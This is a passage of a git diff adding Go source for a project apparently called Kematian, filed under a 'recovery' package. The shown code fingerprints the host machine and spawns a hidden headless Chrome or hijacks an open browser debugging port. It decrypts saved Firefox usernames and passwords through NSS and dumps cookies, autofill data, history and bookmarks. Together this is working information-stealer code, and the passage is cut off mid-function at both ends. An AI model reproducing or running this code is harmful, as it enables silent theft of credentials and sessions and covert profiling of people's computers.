String(gl.getParameter(gl.VENDOR)); + out.webglVersion = String(gl.getParameter(gl.VERSION)); + const keys = ["MAX_TEXTURE_SIZE","MAX_VIEWPORT_DIMS","MAX_RENDERBUFFER_SIZE","MAX_VERTEX_ATTRIBS","MAX_VERTEX_UNIFORM_VECTORS","MAX_VARYING_VECTORS","MAX_FRAGMENT_UNIFORM_VECTORS","MAX_TEXTURE_IMAGE_UNITS","MAX_COMBINED_TEXTURE_IMAGE_UNITS","ALIASED_LINE_WIDTH_RANGE","ALIASED_POINT_SIZE_RANGE"]; + const params = {}; + for (const k of keys) { + try { + let v = gl.getParameter(gl[k]); + if (v && v.length !== undefined && typeof v !== "string") v = Array.from(v); + params[k] = v; + } catch (e) {} + } + out.webglParams = params; + const exts = gl.getSupportedExtensions(); + out.webglExtensions = exts ? exts.slice().sort() : []; + } + } catch (e) {} + try { + const ac = new OfflineAudioContext(1, 44100, 44100); + const osc = ac.createOscillator(); + osc.type = "triangle"; + osc.frequency.value = 10000; + const comp = ac.createDynamicsCompressor(); + comp.threshold.value = -50; + comp.knee.value = 40; + comp.ratio.value = 12; + comp.attack.value = 0; + comp.release.value = 0.25; + osc.connect(comp); + comp.connect(ac.destination); + osc.start(0); + const buf = await ac.startRendering(); + const data = buf.getChannelData(0); + let sum = 0; + for (let i = 0; i < data.length; i++) sum += Math.abs(data[i]); + out.audio = sum; + } catch (e) {} + return out; +})()` + +func CollectJS() *JSResult { + res, err := collectJS() + if err != nil { + return nil + } + return res +} + +func collectJS() (*JSResult, error) { + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + if wsURL := findExistingDebugURL(); wsURL != "" { + logf("found existing debug endpoint") + if res, err := runRemote(ctx, wsURL); err == nil { + return res, nil + } else { + logf("existing debug endpoint failed: %v", err) + } + } + + chrome := browserExePath("Chrome") + if chrome == "" { + chrome = browserExePath("Edge") + } + if chrome == "" { + return nil, fmt.Errorf("no Chromium browser found") + } + logf("spawning hidden Chromium: %s", chrome) + res, err := runHidden(ctx, chrome) + if err != nil { + logf("hidden Chromium failed: %v", err) + } + return res, err +} + +func runRemote(ctx context.Context, wsURL string) (*JSResult, error) { + allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL) + defer cancel() + return evalJS(allocCtx) +} + +func runHidden(ctx context.Context, chromePath string) (*JSResult, error) { + dataDir, err := os.MkdirTemp("", "kematian_fp_*") + if err != nil { + return nil, fmt.Errorf("temp profile dir: %w", err) + } + defer os.RemoveAll(dataDir) + + if res, err := runHiddenWith(ctx, chromePath, dataDir, true); err == nil { + return res, nil + } else { + logf("GPU launch failed: %v; retrying with software rendering", err) + } + return runHiddenWith(ctx, chromePath, dataDir, false) +} + +func runHiddenWith(ctx context.Context, chromePath, dataDir string, gpu bool) (*JSResult, error) { + args := []string{ + "--headless", + "--no-sandbox", + "--disable-dev-shm-usage", + "--no-first-run", + "--no-default-browser-check", + "--disable-extensions", + "--user-data-dir=" + dataDir, + "--remote-debugging-port=0", + "about:blank", + } + if gpu { + args = append(args, "--use-gl=angle", "--use-angle=d3d11", "--disable-gpu-sandbox") + } else { + args = append(args, "--disable-gpu") + } + + cmd := exec.Command(chromePath, args...) + cmd.Stdout = io.Discard + cmd.Stderr = chromeLogWriter{} + if err := cmd.Start(); err != nil { + return nil, fmt.Errorf("start chrome: %w", err) + } + defer func() { _ = cmd.Process.Kill() }() + + wsURL, err := waitForDevTools(dataDir, 10*time.Second) + if err != nil { + return nil, err + } + + allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL) + defer cancel() + return evalJS(allocCtx) +} + +func waitForDevTools(dataDir string, timeout time.Duration) (string, error) { + portFile := filepath.Join(dataDir, "DevToolsActivePort") + deadline := time.Now().Add(timeout) + for time.Now().Before(deadline) { + data, err := os.ReadFile(portFile) + if err == nil { + lines := strings.Split(strings.TrimSpace(string(data)), "\n") + if len(lines) >= 2 { + port := strings.TrimSpace(lines[0]) + path := strings.TrimSpace(lines[1]) + if port != "" && path != "" { + return "ws://127.0.0.1:" + port + path, nil + } + } + } + time.Sleep(100 * time.Millisecond) + } + return "", fmt.Errorf("chrome did not expose a DevTools port") +} + +type chromeLogWriter struct{} + +func (chromeLogWriter) Write(p []byte) (int, error) { + for _, line := range strings.Split(strings.TrimSpace(string(p)), "\n") { + if line != "" { + logf("chrome: %s", line) + } + } + return len(p), nil +} + +func evalJS(allocCtx context.Context) (*JSResult, error) { + cctx, cancel := chromedp.NewContext(allocCtx) + defer cancel() + + var out JSResult + if err := chromedp.Run(cctx, + chromedp.Navigate("about:blank"), + chromedp.Evaluate(fingerprintJS, &out, evalAwaitPromise), + ); err != nil { + return nil, err + } + return &out, nil +} + +func findExistingDebugURL() string { + local := os.Getenv("LOCALAPPDATA") + if local == "" { + return "" + } + for _, dir := range []string{`Google\Chrome\User Data`, `Microsoft\Edge\User Data`, `BraveSoftware\Brave-Browser\User Data`} { + data, err := os.ReadFile(filepath.Join(local, dir, "DevToolsActivePort")) + if err != nil { + continue + } + lines := strings.Split(strings.TrimSpace(string(data)), "\n") + if len(lines) < 2 { + continue + } + port := strings.TrimSpace(lines[0]) + if port == "" { + continue + } + if wsURL, err := debugWebSocketURL(port); err == nil && wsURL != "" { + return wsURL + } + } + return "" +} + +func debugWebSocketURL(port string) (string, error) { + client := &http.Client{Timeout: 2 * time.Second} + resp, err := client.Get("http://127.0.0.1:" + port + "/json/version") + if err != nil { + return "", err + } + defer resp.Body.Close() + var v struct { + WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"` + } + if err := json.NewDecoder(resp.Body).Decode(&v); err != nil { + return "", err + } + return v.WebSocketDebuggerURL, nil +} diff --git a/Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser_stub.go b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser_stub.go new file mode 100644 index 0000000..cecad62 --- /dev/null +++ b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package fingerprint + +func CollectJS() *JSResult { + return nil +} diff --git a/Kematian-Standalone/native/recovery/fingerprint/fingerprint_stub.go b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_stub.go new file mode 100644 index 0000000..bcc6eb1 --- /dev/null +++ b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package fingerprint + +func Collect() *Result { + return &Result{} +} diff --git a/Kematian-Standalone/native/recovery/fingerprint/fingerprint_windows.go b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_windows.go new file mode 100644 index 0000000..f289a5a --- /dev/null +++ b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_windows.go @@ -0,0 +1,483 @@ +//go:build windows + +package fingerprint + +import ( + "fmt" + "net" + "os" + "path/filepath" + "runtime" + "sort" + "strings" + "syscall" + "unsafe" + + "golang.org/x/sys/windows/registry" +) + +// ── Win32 API (raw syscalls) ────────────────────────────────────── + +var ( + user32 = syscall.NewLazyDLL("user32.dll") + kernel32 = syscall.NewLazyDLL("kernel32.dll") + gdi32 = syscall.NewLazyDLL("gdi32.dll") + + procGetSystemMetrics = user32.NewProc("GetSystemMetrics") + procSystemParametersInfo = user32.NewProc("SystemParametersInfoW") + procGetDC = user32.NewProc("GetDC") + procReleaseDC = user32.NewProc("ReleaseDC") + procGetDeviceCaps = gdi32.NewProc("GetDeviceCaps") + procGetActiveProcessorCount = kernel32.NewProc("GetActiveProcessorCount") + procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx") + procGetUserDefaultLocaleName = kernel32.NewProc("GetUserDefaultLocaleName") + procGetTimeZoneInformation = kernel32.NewProc("GetTimeZoneInformation") +) + +type memoryStatusEx struct { + Length uint32 + MemoryLoad uint32 + TotalPhys uint64 + AvailPhys uint64 + TotalPageFile uint64 + AvailPageFile uint64 + TotalVirtual uint64 + AvailVirtual uint64 + AvailExtendedVirtual uint64 +} + +type systemTime struct { + Year uint16 + Month uint16 + DayOfWeek uint16 + Day uint16 + Hour uint16 + Minute uint16 + Second uint16 + Milliseconds uint16 +} + +type timeZoneInformation struct { + Bias int32 + StandardName [32]uint16 + StandardDate systemTime + StandardBias int32 + DaylightName [32]uint16 + DaylightDate systemTime + DaylightBias int32 +} + +type rect struct { + Left int32 + Top int32 + Right int32 + Bottom int32 +} + +// ── Collect ─────────────────────────────────────────────────────── + +func Collect() *Result { + r := &Result{ + Platform: "Win32", + OSArch: runtime.GOARCH, + } + + r.OS = osProductName() + r.HardwareConcurrency = cpuCores() + r.DeviceMemory = deviceMemoryGB() + r.MaxTouchPoints = getSystemMetrics(95) // SM_MAXIMUMTOUCHES + r.ScreenWidth = getSystemMetrics(0) // SM_CXSCREEN + r.ScreenHeight = getSystemMetrics(1) // SM_CYSCREEN + + var work rect + if systemParametersInfo(0x0030 /*SPI_GETWORKAREA*/, 0, unsafe.Pointer(&work), 0) { + r.AvailWidth = int(work.Right - work.Left) + r.AvailHeight = int(work.Bottom - work.Top) + } + + hdc, _, _ := procGetDC.Call(0) + if hdc != 0 { + r.ColorDepth = getDeviceCaps(hdc, 12) // BITSPIXEL + if dpi := getDeviceCaps(hdc, 88); dpi > 0 { // LOGPIXELSX + r.DevicePixelRatio = float64(dpi) / 96.0 + } + procReleaseDC.Call(0, hdc) + } + + r.Timezone, r.TimezoneOffset = timezoneInfo() + r.Languages = languages() + r.Fonts = fonts() + r.GPU = gpuName() + r.Browsers = installedBrowsers() + r.UserAgent = userAgent(r.Browsers) + r.LocalIPs = localIPs() + + return r +} + +func getSystemMetrics(index int) int { + v, _, _ := procGetSystemMetrics.Call(uintptr(index)) + return int(v) +} + +func systemParametersInfo(uiAction, uiParam uint32, pvParam unsafe.Pointer, fWinIni uint32) bool { + r, _, _ := procSystemParametersInfo.Call(uintptr(uiAction), uintptr(uiParam), uintptr(pvParam), uintptr(fWinIni)) + return r != 0 +} + +func getDeviceCaps(hdc uintptr, index int) int { + v, _, _ := procGetDeviceCaps.Call(hdc, uintptr(index)) + return int(v) +} + +func cpuCores() int { + v, _, _ := procGetActiveProcessorCount.Call(0xffff) // ALL_PROCESSOR_GROUPS + if v == 0 { + return runtime.NumCPU() + } + return int(v) +} + +func deviceMemoryGB() int { + var ms memoryStatusEx + ms.Length = uint32(unsafe.Sizeof(ms)) + r, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms))) + if r == 0 { + return 0 + } + gb := int(ms.TotalPhys / (1 << 30)) + if gb > 8 { + gb = 8 // navigator.deviceMemory is clamped to 8 + } + return gb +} + +// ── OS ───────────────────────────────────────────────────────────── + +func osProductName() string { + k, err := registry.OpenKey(registry.LOCAL_MACHINE, + `SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE) + if err != nil { + return "Windows" + } + defer k.Close() + + product, _, _ := k.GetStringValue("ProductName") + build, _, _ := k.GetStringValue("CurrentBuildNumber") + display, _, _ := k.GetStringValue("DisplayVersion") + ubr, _, _ := k.GetStringValue("UBR") + + name := product + if name == "" { + name = "Windows" + } + ver := display + if ver == "" && build != "" { + ver = build + if ubr != "" { + ver = build + "." + ubr + } + } + if ver != "" { + return name + " " + ver + } + return name +} + +// ── Timezone ────────────────────────────────────────────────────── + +// windowsToIANA maps common Windows timezone names to IANA identifiers. +var windowsToIANA = map[string]string{ + "Eastern Standard Time": "America/New_York", + "Central Standard Time": "America/Chicago", + "Mountain Standard Time": "America/Denver", + "Pacific Standard Time": "America/Los_Angeles", + "Alaskan Standard Time": "America/Anchorage", + "Hawaiian Standard Time": "Pacific/Honolulu", + "Atlantic Standard Time": "America/Halifax", + "Newfoundland Standard Time": "America/St_Johns", + "GMT Standard Time": "Europe/London", + "Greenwich Standard Time": "Atlantic/Reykjavik", + "W. Europe Standard Time": "Europe/Berlin", + "Central Europe Standard Time": "Europe/Budapest", + "Romance Standard Time": "Europe/Paris", + "Central European Standard Time": "Europe/Warsaw", + "E. Europe Standard Time": "Europe/Chisinau", + "Russian Standard Time": "Europe/Moscow", + "Israel Standard Time": "Asia/Jerusalem", + "China Standard Time": "Asia/Shanghai", + "Tokyo Standard Time": "Asia/Tokyo", + "Korea Standard Time": "Asia/Seoul", + "Singapore Standard Time": "Asia/Singapore", + "India Standard Time": "Asia/Kolkata", + "AUS Eastern Standard Time": "Australia/Sydney", + "New Zealand Standard Time": "Pacific/Auckland", + "SA Pacific Standard Time": "America/Bogota", + "Argentina Standard Time": "America/Argentina/Buenos_Aires", + "E. South America Standard Time": "America/Sao_Paulo", +} + +func timezoneInfo() (string, int) { + var tzi timeZoneInformation + r, _, _ := procGetTimeZoneInformation.Call(uintptr(unsafe.Pointer(&tzi))) + if r == 0xFFFFFFFF { + return "", 0 + } + windowsName := syscall.UTF16ToString(tzi.StandardName[:]) + offset := -int(tzi.Bias) + + iana := windowsToIANA[windowsName] + if iana == "" { + iana = windowsName + } + return iana, offset +} + +// ── Languages ───────────────────────────────────────────────────── + +func languages() []string { + var langs []string + var buf [85]uint16 + r, _, _ := procGetUserDefaultLocaleName.Call(uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) + if r > 0 && r <= uintptr(len(buf)) { + locale := syscall.UTF16ToString(buf[:r]) + if locale != "" { + langs = append(langs, locale) + } + } + + if prefs := chromeAcceptLanguages(); prefs != "" { + for _, l := range strings.Split(prefs, ",") { + l = strings.TrimSpace(l) + if l != "" && !containsStr(langs, l) { + langs = append(langs, l) + } + } + } + return langs +} + +func chromeAcceptLanguages() string { + local := os.Getenv("LOCALAPPDATA") + if local == "" { + return "" + } + path := filepath.Join(local, `Google\Chrome\User Data\Default\Preferences`) + data, err := os.ReadFile(path) + if err != nil { + return "" + } + s := string(data) + idx := strings.Index(s, `"accept_languages"`) + if idx < 0 { + return "" + } + rest := s[idx:] + colon := strings.Index(rest, ":") + if colon < 0 { + return "" + } + rest = rest[colon+1:] + start := strings.Index(rest, `"`) + if start < 0 { + return "" + } + rest = rest[start+1:] + end := strings.Index(rest, `"`) + if end < 0 { + return "" + } + return rest[:end] +} + +// ── Fonts ───────────────────────────────────────────────────────── + +func fonts() []string { + k, err := registry.OpenKey(registry.LOCAL_MACHINE, + `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts`, + registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) + if err != nil { + return nil + } + defer k.Close() + + names, err := k.ReadValueNames(-1) + if err != nil { + return nil + } + + var out []string + seen := map[string]bool{} + for _, name := range names { + f := strings.TrimSpace(name) + f = strings.TrimSuffix(f, " (TrueType)") + f = strings.TrimSuffix(f, " (OpenType)") + f = strings.TrimSuffix(f, " (All res)") + if f == "" || seen[f] { + continue + } + seen[f] = true + out = append(out, f) + } + sort.Strings(out) + return out +} + +// ── GPU ─────────────────────────────────────────────────────────── + +func gpuName() string { + k, err := registry.OpenKey(registry.LOCAL_MACHINE, + `SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`, + registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) + if err != nil { + return "" + } + defer k.Close() + + subs, _ := k.ReadSubKeyNames(-1) + for _, sub := range subs { + if !strings.HasPrefix(sub, "0") { + continue + } + sk, err := registry.OpenKey(k, sub, registry.QUERY_VALUE) + if err != nil { + continue + } + desc, _, _ := sk.GetStringValue("DriverDesc") + sk.Close() + desc = strings.TrimSpace(desc) + if desc == "" || strings.Contains(desc, "Microsoft Basic Display") || + strings.Contains(desc, "Microsoft Remote Display") { + continue + } + return desc + } + return "" +} + +// ── Installed browsers ──────────────────────────────────────────── + +var browserUpdateGUIDs = []struct { + name string + guid string +}{ + {"Chrome", `{8A69D345-D564-463c-AFF1-A69D9E530F96}`}, + {"Edge", `{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}`}, + {"Brave", `{AFE6A462-C574-4B8A-AF43-4CC60DF4563B}`}, +} + +func installedBrowsers() []Browser { + var out []Browser + for _, b := range browserUpdateGUIDs { + ver := browserVersion(b.guid) + if ver == "" { + continue + } + out = append(out, Browser{Name: b.name, Version: ver, Path: browserExePath(b.name)}) + } + return out +} + +func browserVersion(guid string) string { + for _, root := range []string{`SOFTWARE\Google\Update\Clients\`, `SOFTWARE\WOW6432Node\Google\Update\Clients\`} { + k, err := registry.OpenKey(registry.LOCAL_MACHINE, root+guid, registry.QUERY_VALUE) + if err != nil { + continue + } + pv, _, err := k.GetStringValue("pv") + k.Close() + if err == nil && pv != "" { + return pv + } + } + return "" +} + +func browserExePath(name string) string { + var paths []string + pf := os.Getenv("ProgramFiles") + pf86 := os.Getenv("ProgramFiles(x86)") + switch name { + case "Chrome": + paths = []string{ + filepath.Join(pf, `Google\Chrome\Application\chrome.exe`), + filepath.Join(pf86, `Google\Chrome\Application\chrome.exe`), + } + case "Edge": + paths = []string{ + filepath.Join(pf, `Microsoft\Edge\Application\msedge.exe`), + filepath.Join(pf86, `Microsoft\Edge\Application\msedge.exe`), + } + case "Brave": + paths = []string{ + filepath.Join(pf, `BraveSoftware\Brave-Browser\Application\brave.exe`), + filepath.Join(pf86, `BraveSoftware\Brave-Browser\Application\brave.exe`), + } + } + for _, p := range paths { + if _, err := os.Stat(p); err == nil { + return p + } + } + return "" +} + +// ── User agent ──────────────────────────────────────────────────── + +func userAgent(browsers []Browser) string { + order := []string{"Chrome", "Edge", "Brave"} + version := "" + for _, want := range order { + for _, b := range browsers { + if b.Name == want && b.Version != "" { + version = b.Version + break + } + } + if version != "" { + break + } + } + if version == "" { + return "" + } + return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", version) +} + +// ── Local IPs ───────────────────────────────────────────────────── + +func localIPs() []string { + ifaces, err := net.Interfaces() + if err != nil { + return nil + } + var ips []string + for _, iface := range ifaces { + addrs, err := iface.Addrs() + if err != nil { + continue + } + for _, addr := range addrs { + ip, _, err := net.ParseCIDR(addr.String()) + if err != nil { + continue + } + if v4 := ip.To4(); v4 != nil && !v4.IsLoopback() { + s := v4.String() + if !containsStr(ips, s) { + ips = append(ips, s) + } + } + } + } + return ips +} + +func containsStr(s []string, v string) bool { + for _, x := range s { + if x == v { + return true + } + } + return false +} diff --git a/Kematian-Standalone/native/recovery/fingerprint/js.go b/Kematian-Standalone/native/recovery/fingerprint/js.go new file mode 100644 index 0000000..e264cc6 --- /dev/null +++ b/Kematian-Standalone/native/recovery/fingerprint/js.go @@ -0,0 +1,11 @@ +package fingerprint + +type JSResult struct { + Canvas string `json:"canvas,omitempty"` + WebGLRenderer string `json:"webglRenderer,omitempty"` + WebGLVendor string `json:"webglVendor,omitempty"` + WebGLVersion string `json:"webglVersion,omitempty"` + WebGLParams map[string]interface{} `json:"webglParams,omitempty"` + WebGLExtensions []string `json:"webglExtensions,omitempty"` + Audio float64 `json:"audio,omitempty"` +} diff --git a/Kematian-Standalone/native/recovery/fingerprint/log.go b/Kematian-Standalone/native/recovery/fingerprint/log.go new file mode 100644 index 0000000..9024d27 --- /dev/null +++ b/Kematian-Standalone/native/recovery/fingerprint/log.go @@ -0,0 +1,7 @@ +package fingerprint + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[fingerprint] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/fingerprint/types.go b/Kematian-Standalone/native/recovery/fingerprint/types.go new file mode 100644 index 0000000..16e566c --- /dev/null +++ b/Kematian-Standalone/native/recovery/fingerprint/types.go @@ -0,0 +1,32 @@ +package fingerprint + +// Browser is an installed browser and its version. +type Browser struct { + Name string `json:"name"` + Version string `json:"version"` + Path string `json:"path,omitempty"` +} + +// Result is the collected native fingerprint. +type Result struct { + UserAgent string `json:"userAgent"` + Platform string `json:"platform"` + OS string `json:"os"` + OSArch string `json:"osArch"` + Languages []string `json:"languages"` + HardwareConcurrency int `json:"hardwareConcurrency"` + DeviceMemory int `json:"deviceMemory"` + MaxTouchPoints int `json:"maxTouchPoints"` + ScreenWidth int `json:"screenWidth"` + ScreenHeight int `json:"screenHeight"` + AvailWidth int `json:"availWidth"` + AvailHeight int `json:"availHeight"` + ColorDepth int `json:"colorDepth"` + DevicePixelRatio float64 `json:"devicePixelRatio"` + Timezone string `json:"timezone"` + TimezoneOffset int `json:"timezoneOffset"` + Fonts []string `json:"fonts"` + GPU string `json:"gpu"` + Browsers []Browser `json:"browsers"` + LocalIPs []string `json:"localIps"` +} diff --git a/Kematian-Standalone/native/recovery/firefox/firefox.go b/Kematian-Standalone/native/recovery/firefox/firefox.go new file mode 100644 index 0000000..2e362ed --- /dev/null +++ b/Kematian-Standalone/native/recovery/firefox/firefox.go @@ -0,0 +1,236 @@ +package firefox + +import ( + "database/sql" + "encoding/json" + "fmt" + "os" + "path/filepath" + "sync" + + "recovery/recovery/chromium" + "recovery/recovery/db" + "recovery/recovery/types" +) + +type firefoxLoginFile struct { + Logins []firefoxLogin `json:"logins"` +} + +type firefoxLogin struct { + Hostname string `json:"hostname"` + EncryptedUsername string `json:"encryptedUsername"` + EncryptedPassword string `json:"encryptedPassword"` +} + +var nssmu sync.Mutex + +func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.PasswordResult { + loginsPath := filepath.Join(profile.Path, "logins.json") + data, err := os.ReadFile(loginsPath) + if err != nil { + return nil + } + + var logins firefoxLoginFile + if err := json.Unmarshal(data, &logins); err != nil { + return nil + } + if len(logins.Logins) == 0 { + return nil + } + + nssmu.Lock() + defer nssmu.Unlock() + + results := nssDecryptLogins(profile.Path, cfg.Name, logins.Logins) + var out []types.PasswordResult + for _, r := range results { + if r.URL != "" && (r.Username != "" || r.Password != "") { + r.Browser = cfg.Name + r.Profile = profile.Name + out = append(out, r) + } + } + return out +} + +func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult { + dbPath := filepath.Join(profile.Path, "formhistory.sqlite") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + return nil + } + defer d.Close() + + rows, err := d.Query("SELECT fieldname, value, timesUsed, firstUsed FROM moz_formhistory") + if err != nil { + rows2, err2 := d.Query("SELECT fieldname, value FROM moz_formhistory") + if err2 != nil { + return nil + } + defer rows2.Close() + var results []types.AutofillResult + for rows2.Next() { + var name, value sql.NullString + rows2.Scan(&name, &value) + if name.String != "" { + results = append(results, types.AutofillResult{ + Name: name.String, + Value: value.String, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results + } + defer rows.Close() + + var results []types.AutofillResult + for rows.Next() { + var name, value sql.NullString + var timesUsed, firstUsed sql.NullInt64 + rows.Scan(&name, &value, ×Used, &firstUsed) + + var dateCreated int64 + if firstUsed.Int64 > 0 { + dateCreated = firstUsed.Int64 / 1000000 + } + + if name.String != "" { + results = append(results, types.AutofillResult{ + Name: name.String, + Value: value.String, + DateCreated: dateCreated, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results +} + +func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig) []types.CookieResult { + dbPath := filepath.Join(profile.Path, "cookies.sqlite") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + + d, err := db.OpenDatabase(dbPath, nil) + if err != nil { + return nil + } + defer d.Close() + + rows, err := d.Query("SELECT host, name, value, path, isSecure, isHttpOnly, expiry FROM moz_cookies") + if err != nil { + return nil + } + defer rows.Close() + + var results []types.CookieResult + for rows.Next() { + var host, name, value, path sql.NullString + var secure, httpOnly, expiry sql.NullInt64 + rows.Scan(&host, &name, &value, &path, &secure, &httpOnly, &expiry) + results = append(results, types.CookieResult{ + Host: host.String, + Name: name.String, + Value: value.String, + Path: path.String, + Secure: secure.Int64 != 0, + HTTPOnly: httpOnly.Int64 != 0, + ExpiresUTC: expiry.Int64, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + return results +} + +func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig) []types.HistoryResult { + dbPath := filepath.Join(profile.Path, "places.sqlite") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, nil) + if err != nil { + return nil + } + defer d.Close() + + q := fmt.Sprintf( + `SELECT p.url, p.title, h.visit_date FROM moz_historyvisits h + JOIN moz_places p ON p.id = h.place_id + ORDER BY h.visit_date DESC LIMIT %d`, + chromium.HistoryLimit, + ) + rows, err := d.Query(q) + if err != nil { + return nil + } + defer rows.Close() + + var results []types.HistoryResult + for rows.Next() { + var url, title sql.NullString + var visitDate sql.NullInt64 + rows.Scan(&url, &title, &visitDate) + + var visitTimeUnix int64 + if visitDate.Int64 > 0 { + visitTimeUnix = visitDate.Int64 / 1000000 + } + if url.String != "" { + results = append(results, types.HistoryResult{ + URL: url.String, + Title: title.String, + VisitTimeUnix: visitTimeUnix, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results +} + +func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult { + dbPath := filepath.Join(profile.Path, "places.sqlite") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, nil) + if err != nil { + return nil + } + defer d.Close() + + rows, err := d.Query(`SELECT b.title, p.url FROM moz_bookmarks b + JOIN moz_places p ON p.id = b.fk + WHERE b.type = 1 AND p.url != '' ORDER BY b.dateAdded DESC`) + if err != nil { + return nil + } + defer rows.Close() + + var results []types.BookmarkResult + for rows.Next() { + var title, url sql.NullString + rows.Scan(&title, &url) + if url.String != "" { + results = append(results, types.BookmarkResult{ + Name: title.String, + URL: url.String, + Type: "url", + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results +} diff --git a/Kematian-Standalone/native/recovery/firefox/log.go b/Kematian-Standalone/native/recovery/firefox/log.go new file mode 100644 index 0000000..d58d9ff --- /dev/null +++ b/Kematian-Standalone/native/recovery/firefox/log.go @@ -0,0 +1,7 @@ +package firefox + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[firefox] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/firefox/nss_unix.go b/Kematian-Standalone/native/recovery/firefox/nss_unix.go new file mode 100644 index 0000000..0a30554 --- /dev/null +++ b/Kematian-Standalone/native/recovery/firefox/nss_unix.go @@ -0,0 +1,163 @@ +//go:build !windows + +package firefox + +/* +#cgo LDFLAGS: -ldl +#include +#include +#include + +typedef struct { + unsigned int type; + unsigned char *data; + unsigned int len; +} SECItem; + +typedef int (*NSS_Init_Fn)(const char*); +typedef int (*NSS_Shutdown_Fn)(void); +typedef int (*PK11SDR_Decrypt_Fn)(SECItem*, SECItem*, void*); +typedef void (*PORT_Free_Fn)(void*); + +static void* load_nss(const char* path) { + return dlopen(path, RTLD_LAZY | RTLD_GLOBAL); +} + +static void close_nss(void* handle) { + if (handle) dlclose(handle); +} + +static int call_nss_init(void* handle, const char* profile) { + NSS_Init_Fn fn = (NSS_Init_Fn)dlsym(handle, "NSS_Init"); + if (!fn) return -1; + return fn(profile); +} + +static int call_nss_shutdown(void* handle) { + NSS_Shutdown_Fn fn = (NSS_Shutdown_Fn)dlsym(handle, "NSS_Shutdown"); + if (!fn) return -1; + return fn(); +} + +static int call_pk11sdr_decrypt(void* handle, SECItem* enc, SECItem* dec) { + PK11SDR_Decrypt_Fn fn = (PK11SDR_Decrypt_Fn)dlsym(handle, "PK11SDR_Decrypt"); + if (!fn) return -1; + return fn(enc, dec, NULL); +} + +static void call_port_free(void* handle, void* ptr) { + PORT_Free_Fn fn = (PORT_Free_Fn)dlsym(handle, "PORT_Free"); + if (fn) fn(ptr); +} +*/ +import "C" + +import ( + "encoding/base64" + "os" + "runtime" + "strings" + "unsafe" + + "recovery/recovery/types" +) + +var nssLibPaths = []string{ + // Linux paths + "/usr/lib/x86_64-linux-gnu/libnss3.so", + "/usr/lib64/libnss3.so", + "/usr/lib/libnss3.so", + "/usr/lib/firefox/libnss3.so", + "/usr/lib64/firefox/libnss3.so", + "/opt/firefox/libnss3.so", + "/opt/librewolf/libnss3.so", + "/snap/firefox/current/usr/lib/firefox/libnss3.so", + // macOS paths + "/Applications/Firefox.app/Contents/MacOS/libnss3.dylib", + "/Applications/LibreWolf.app/Contents/MacOS/libnss3.dylib", + "/Applications/Waterfox.app/Contents/MacOS/libnss3.dylib", + "/opt/homebrew/lib/libnss3.dylib", + "/usr/local/lib/libnss3.dylib", +} + +func findNSSLib() string { + suffix := ".so" + if runtime.GOOS == "darwin" { + suffix = ".dylib" + } + for _, p := range nssLibPaths { + if strings.HasSuffix(p, suffix) { + if _, err := os.Stat(p); err == nil { + return p + } + } + } + name := "libnss3.so" + if runtime.GOOS == "darwin" { + name = "libnss3.dylib" + } + return name +} + +func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult { + libPath := findNSSLib() + cLibPath := C.CString(libPath) + defer C.free(unsafe.Pointer(cLibPath)) + + handle := C.load_nss(cLibPath) + if handle == nil { + logf("firefox NSS: failed to load %s", libPath) + return nil + } + defer C.close_nss(handle) + + cProfile := C.CString(profilePath) + defer C.free(unsafe.Pointer(cProfile)) + + ret := C.call_nss_init(handle, cProfile) + if ret != 0 { + logf("firefox NSS: NSS_Init failed for %s", profilePath) + return nil + } + defer C.call_nss_shutdown(handle) + + var results []types.PasswordResult + for _, login := range logins { + username := nssDecryptUnix(handle, login.EncryptedUsername) + password := nssDecryptUnix(handle, login.EncryptedPassword) + results = append(results, types.PasswordResult{ + URL: login.Hostname, + Username: username, + Password: password, + }) + } + + return results +} + +func nssDecryptUnix(handle unsafe.Pointer, b64 string) string { + b64 = strings.TrimSpace(b64) + if b64 == "" 